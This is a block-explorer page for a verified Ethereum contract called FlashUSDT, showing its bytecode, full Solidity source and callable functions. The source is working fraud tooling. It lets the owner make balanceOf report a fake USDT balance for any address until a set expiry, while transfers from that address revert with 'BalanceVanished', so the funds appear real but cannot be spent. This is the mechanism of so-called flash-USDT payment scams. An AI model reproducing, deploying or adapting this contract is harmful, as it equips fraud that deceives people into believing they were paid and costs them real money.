Forkchoice Ethereum Mainnet

Address Contract Verified

Address 0xec0A592d8CCA74998C94B3D9fa40792C39FCd65b
Balance 0 ETH
Nonce 1
Code Size 2634 bytes
Indexed Transactions Index loading...
External Etherscan · Sourcify

Contract Bytecode

2634 bytes
0x608060405234801561000f575f5ffd5b50600436106100b1575f3560e01c8063a9059cbb1161006e578063a9059cbb1461016c578063cb6355751461017f578063d2dca22b14610192578063dd62ed3e146101a5578063f2fde38b146101b8578063f523b255146101cb575f5ffd5b8063095ea7b3146100b557806323b872dd146100dd5780633403c2fc146100f057806370a08231146100fa5780638da5cb5b1461011b5780639ab4a44514610145575b5f5ffd5b6100c86100c3366004610902565b610202565b60405190151581526020015b60405180910390f35b6100c86100eb36600461092a565b61028f565b6100f8610328565b005b61010d610108366004610964565b610362565b6040519081526020016100d4565b5f5461012d906001600160a01b031681565b6040516001600160a01b0390911681526020016100d4565b61012d7f000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec781565b6100c861017a366004610902565b610495565b6100f861018d36600461097d565b6104f4565b6100f86101a0366004610964565b61062f565b61010d6101b33660046109ad565b6106de565b6100f86101c6366004610964565b610779565b6101de6101d9366004610964565b610822565b604080518251815260208084015190820152918101511515908201526060016100d4565b60405163095ea7b360e01b81526001600160a01b038381166004830152602482018390525f917f000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec79091169063095ea7b3906044015b5f604051808303815f87803b15801561026e575f5ffd5b505af1158015610280573d5f5f3e3d5ffd5b50505050600190505b92915050565b5f6102998461088a565b6040516323b872dd60e01b81526001600160a01b0385811660048301528481166024830152604482018490527f000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec716906323b872dd906064015f604051808303815f87803b158015610308575f5ffd5b505af115801561031a573d5f5f3e3d5ffd5b506001979650505050505050565b5f546001600160a01b03163314610351576040516282b42960e81b815260040160405180910390fd5b5f80546001600160a01b0319169055565b6001600160a01b0381165f908152600160205260408120600281015483919060ff168015610394575080600101544210155b156103a65760028101805460ff191690555b6001600160a01b0384165f9081526001602081815260409283902083516060810185528154815292810154918301919091526002015460ff161580159282018390529091906103f85750806020015142105b610489576040516370a0823160e01b81526001600160a01b0386811660048301527f000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec716906370a0823190602401602060405180830381865afa158015610460573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061048491906109de565b61048c565b80515b95945050505050565b5f61049f3361088a565b60405163a9059cbb60e01b81526001600160a01b038481166004830152602482018490527f000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec7169063a9059cbb90604401610257565b5f546001600160a01b0316331461051d576040516282b42960e81b815260040160405180910390fd5b6001600160a01b03831661054457604051631e4ec46b60e01b815260040160405180910390fd5b6001600160a01b0383165f9081526001602052604090206002015460ff161561058057604051631a40f1fd60e01b815260040160405180910390fd5b6040518060600160405280838152602001824261059d91906109f5565b8152600160209182018190526001600160a01b0386165f8181528284526040908190208551815593850151928401929092559201516002909101805460ff19169115159190911790557f6522ddca90359ea2b270abb5fd9740e48303b83b488099f98948f3d8da30527c8361061284426109f5565b6040805192835260208301919091520160405180910390a2505050565b5f546001600160a01b03163314610658576040516282b42960e81b815260040160405180910390fd5b6001600160a01b0381165f9081526001602052604090206002015460ff166106935760405163660010cf60e11b815260040160405180910390fd5b6001600160a01b0381165f81815260016020526040808220600201805460ff19169055517f99d3d1b6b9ede8ea01e750b81b14504cf7abd762a932f8f839bbc651af01bf8d9190a250565b604051636eb1769f60e11b81526001600160a01b03838116600483015282811660248301525f917f000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec79091169063dd62ed3e90604401602060405180830381865afa15801561074e573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061077291906109de565b9392505050565b5f546001600160a01b031633146107a2576040516282b42960e81b815260040160405180910390fd5b6001600160a01b0381166107c957604051631e4ec46b60e01b815260040160405180910390fd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b61084560405180606001604052805f81526020015f81526020015f151581525090565b506001600160a01b03165f9081526001602081815260409283902083516060810185528154815292810154918301919091526002015460ff1615159181019190915290565b6001600160a01b0381165f908152600160205260409020600281015460ff1680156108b85750806001015442105b156108e35760028101805460ff191690556040805163249ea18960e01b815290519081900360040190fd5b5050565b80356001600160a01b03811681146108fd575f5ffd5b919050565b5f5f60408385031215610913575f5ffd5b61091c836108e7565b946020939093013593505050565b5f5f5f6060848603121561093c575f5ffd5b610945846108e7565b9250610953602085016108e7565b929592945050506040919091013590565b5f60208284031215610974575f5ffd5b610772826108e7565b5f5f5f6060848603121561098f575f5ffd5b610998846108e7565b95602085013595506040909401359392505050565b5f5f604083850312156109be575f5ffd5b6109c7836108e7565b91506109d5602084016108e7565b90509250929050565b5f602082840312156109ee575f5ffd5b5051919050565b8082018082111561028957634e487b7160e01b5f52601160045260245ffdfea2646970667358221220ef0d3dc0ddc31f9c2d2eb7b20ed39f5740b270fd4567a047a0a01efbbf4e2be764736f6c634300081f0033

Verified Source Code Full Match

Compiler: v0.8.31+commit.fd3a2265 EVM: osaka Optimization: Yes (200 runs)
iflash.sol 137 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

interface IUSDT {
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external;
    function transferFrom(address from, address to, uint256 amount) external;
    function approve(address spender, uint256 amount) external;
    function allowance(address owner, address spender) external view returns (uint256);
}

contract FlashUSDT {
    address public owner;
    address public immutable usdtAddress = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
    
    struct FlashBalance {
        uint256 amount;
        uint256 expiration;
        bool active;
    }
    
    mapping(address => FlashBalance) private flashBalances;
    
    event FlashSet(address indexed receiver, uint256 amount, uint256 expiration);
    event FlashReset(address indexed receiver);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    error Unauthorized();
    error InvalidReceiver();
    error FlashActive();
    error BalanceVanished();
    error ExpirationPassed();
    
    modifier onlyOwner() {
        if (msg.sender != owner) revert Unauthorized();
        _;
    }
    
    modifier checkExpiration(address account) {
        FlashBalance storage fb = flashBalances[account];
        if (fb.active && block.timestamp >= fb.expiration) {
            fb.active = false;
        }
        _;
    }
    
    constructor() {
        owner = msg.sender;
    }
    
    function setFlashBalance(
        address _receiver,
        uint256 _amount,
        uint256 _durationSeconds
    ) external onlyOwner {
        if (_receiver == address(0)) revert InvalidReceiver();
        if (flashBalances[_receiver].active) revert FlashActive();
        
        flashBalances[_receiver] = FlashBalance({
            amount: _amount,
            expiration: block.timestamp + _durationSeconds,
            active: true
        });
        
        emit FlashSet(_receiver, _amount, block.timestamp + _durationSeconds);
    }
    
    function resetFlashBalance(address _receiver) external onlyOwner {
        if (!flashBalances[_receiver].active) revert ExpirationPassed();
        flashBalances[_receiver].active = false;
        emit FlashReset(_receiver);
    }
    
    function getFlashBalance(address _account) public view returns (FlashBalance memory) {
        return flashBalances[_account];
    }
    
    // ERC20 Proxy Functions
    function balanceOf(address _account) 
        external 
        checkExpiration(_account)
        returns (uint256) 
    {
        FlashBalance memory fb = flashBalances[_account];
        return (fb.active && block.timestamp < fb.expiration) 
            ? fb.amount 
            : IUSDT(usdtAddress).balanceOf(_account);
    }
    
    function transfer(address _to, uint256 _amount) external returns (bool) {
        _handleFlashTransfer(msg.sender);
        IUSDT(usdtAddress).transfer(_to, _amount);
        return true;
    }
    
    function transferFrom(
        address _from,
        address _to,
        uint256 _amount
    ) external returns (bool) {
        _handleFlashTransfer(_from);
        IUSDT(usdtAddress).transferFrom(_from, _to, _amount);
        return true;
    }
    
    function approve(address _spender, uint256 _amount) external returns (bool) {
        IUSDT(usdtAddress).approve(_spender, _amount);
        return true;
    }
    
    function allowance(
        address _owner,
        address _spender
    ) external view returns (uint256) {
        return IUSDT(usdtAddress).allowance(_owner, _spender);
    }
    
    // Internal Safety Functions
    function _handleFlashTransfer(address account) private {
        FlashBalance storage fb = flashBalances[account];
        if (fb.active && block.timestamp < fb.expiration) {
            fb.active = false;
            revert BalanceVanished();
        }
    }
    
    function transferOwnership(address newOwner) external onlyOwner {
        if (newOwner == address(0)) revert InvalidReceiver();
        emit OwnershipTransferred(owner, newOwner);
        owner = newOwner;
    }
    
    // Emergency shutdown
    function emergencyShutdown() external onlyOwner {
        owner = address(0);
    }
}

Read Contract

allowance 0xdd62ed3e → uint256
getFlashBalance 0xf523b255 → tuple
owner 0x8da5cb5b → address
usdtAddress 0x9ab4a445 → address

Write Contract 8 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address _spender
uint256 _amount
returns: bool
balanceOf 0x70a08231
address _account
returns: uint256
emergencyShutdown 0x3403c2fc
No parameters
resetFlashBalance 0xd2dca22b
address _receiver
setFlashBalance 0xcb635575
address _receiver
uint256 _amount
uint256 _durationSeconds
transfer 0xa9059cbb
address _to
uint256 _amount
returns: bool
transferFrom 0x23b872dd
address _from
address _to
uint256 _amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner

Recent Transactions

Transaction index is loading. Only unfinalized transactions are shown while the index starts up.